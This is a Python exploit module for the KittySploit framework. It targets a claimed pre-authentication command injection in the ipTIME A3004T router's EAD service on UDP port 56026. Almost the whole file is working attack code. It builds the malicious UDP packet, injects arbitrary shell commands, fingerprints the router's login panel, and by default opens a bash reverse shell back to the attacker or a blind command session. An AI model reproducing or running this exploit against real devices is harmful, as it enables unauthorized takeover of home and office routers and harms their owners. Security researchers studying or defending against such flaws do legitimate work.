ipTIME A3004T EAD Service - Pre-auth RCE (UDP/56026)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""ipTIME A3004T EAD service pre-auth command injection (zero-day, firmware 14.19.0)."""

from __future__ import annotations

import re
import socket

import requests

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.ics.ics_scanner_client import Ics_scanner_client

EAD_PORT = 56026
_IPTIME_TITLE = re.compile(r"<TITLE>ipTIME\s+[A-Z0-9_-]+</TITLE>", re.I)


class Module(Exploit, Ics_scanner_client, Handler):
    __info__ = {
        "name": "ipTIME A3004T EAD Service - Pre-auth RCE (UDP/56026)",
        "description": (
            "Pre-authentication remote command execution in ipTIME A3004T firmware "
            "14.19.0 (OpenWrt / MediaTek MT7621). The EAD service binds to UDP/56026 "
            "without source-IP filtering; EAD_TYPE_SEND_CMD (0x0a) reaches system() "
            "in handle_send_cmd(). Opens a reverse shell session (default payload) "
            "or a blind UDP execute session when command= is used."
        ),
        "author": ["Paccaron", "KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.MIPS],
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": "singles",
        },
        "references": [
            "https://www.iptime.com/",
            "https://www.iptime.com/iptime/?page_id=147&pid=34",
        ],
        "tags": ["iptime", "router", "ead", "udp", "command-injection", "pre-auth", "rce"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {"tech_hints_any": ["iptime", "router"]},
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "EAD UDP command injection"},
                    {"capability": "shell", "from_detail": "reverse_tcp or blind execute session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": ["scanner/udp/iptime_ead_detect"],
            },
        },
    }

    port = OptPort(EAD_PORT, "EAD service UDP port", required=True)
    command = OptString("", "Shell command to inject (overrides payload)", required=False)
    require_iptime = OptBool(False, "Abort unless ipTIME login panel is detected", required=False, advanced=True)
    http_port = OptPort(80, "HTTP port for ipTIME panel fingerprint", required=False, advanced=True)

    def _packet(self, command: str) -> bytes:
        cmd = str(command or "").strip()
        return b"\x00\x00\x00\x0a" + (b"\x00" * 60) + b";" + cmd.encode() + b"\x00"

    def _send(self, command: str) -> bool:
        host = self._host()
        if not host:
            print_error("target is required")
            return False
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(self._timeout())
        try:
            sock.sendto(self._packet(command), (host, int(self._port())))
            return True
        except OSError as exc:
            print_error(f"UDP send failed: {exc}")
            return False
        finally:
            sock.close()

    def _iptime_panel(self) -> bool:
        host = self._host()
        if not host:
            return False
        url = f"http://{host}:{int(self.http_port or 80)}/sess-bin/login_session.cgi"
        try:
            response = requests.get(url, timeout=self._timeout(), verify=False)
        except requests.RequestException:
            return False
        return response.status_code == 200 and bool(_IPTIME_TITLE.search(response.text or ""))

    def _command(self) -> str:
        if str(self.command or "").strip():
            return str(self.command).strip()
        return str(self.payload or "").strip()

    def run_command(self, cmd: str) -> str:
        """HttpCmdShell-compatible blind dispatcher."""
        if self._send(cmd):
            return "(command dispatched via EAD UDP — no output returned)"
        return "(EAD UDP send failed)"

    def execute(self, cmd: str) -> str:
        return self.run_command(cmd)

    def check(self):
        host = self._host()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}

        iptime = self._iptime_panel()
        if self.require_iptime and not iptime:
            return {
                "vulnerable": False,
                "reason": "ipTIME login panel not detected",
                "confidence": "medium",
            }
        if not self._send("true"):
            return {
                "vulnerable": False,
                "reason": "Could not reach EAD UDP endpoint",
                "confidence": "low",
            }

        reason = f"EAD UDP/{int(self._port())} reachable on {host}"
        if iptime:
            reason += "; ipTIME panel detected"
        return {"vulnerable": True, "reason": reason, "confidence": "high" if iptime else "medium"}

    def handler_execute(self):
        host = self._host()
        port = int(self._port())

        session_id = self._create_session(
            host,
            port,
            "http_cmd",
            {
                "protocol": "udp",
                "exploit_type": "ead_injection",
                "platform": Platform.LINUX,
            },
        )
        if not session_id:
            print_error("Failed to create execute session")
            return False

        if not hasattr(self, "_session_connections"):
            self._session_connections = {}
        self._session_connections[session_id] = self

        from core.framework.checkcode import Vulnerable

        Vulnerable.SUCCESS()
        print_success(f"Session created: {session_id}")
        print_warning("Blind UDP channel — commands dispatch without returned output")
        return True

    def run(self):
        print_status("ipTIME A3004T EAD service pre-auth command injection")
        host, port = self._host(), int(self._port())
        print_info(f"Target: {host}:{port}/udp")

        result = self.check()
        if not result.get("vulnerable"):
            print_error(result.get("reason", "Target does not appear reachable"))
            self.not_vulnerable()
            return False

        print_success(result.get("reason", "Target appears reachable"))

        cmd = self._command()
        if not cmd:
            print_error("Set command= or configure a cmd payload")
            return False

        print_status(f"Sending EAD_TYPE_SEND_CMD: {cmd[:120]}")
        if not self._send(cmd):
            return False

        print_success(f"Command dispatched to {host}:{port}/udp")

        if getattr(self, "payload_type", None) == "reverse":
            print_info("Waiting for reverse shell callback on the framework listener...")
            return True

        return self.handler_execute()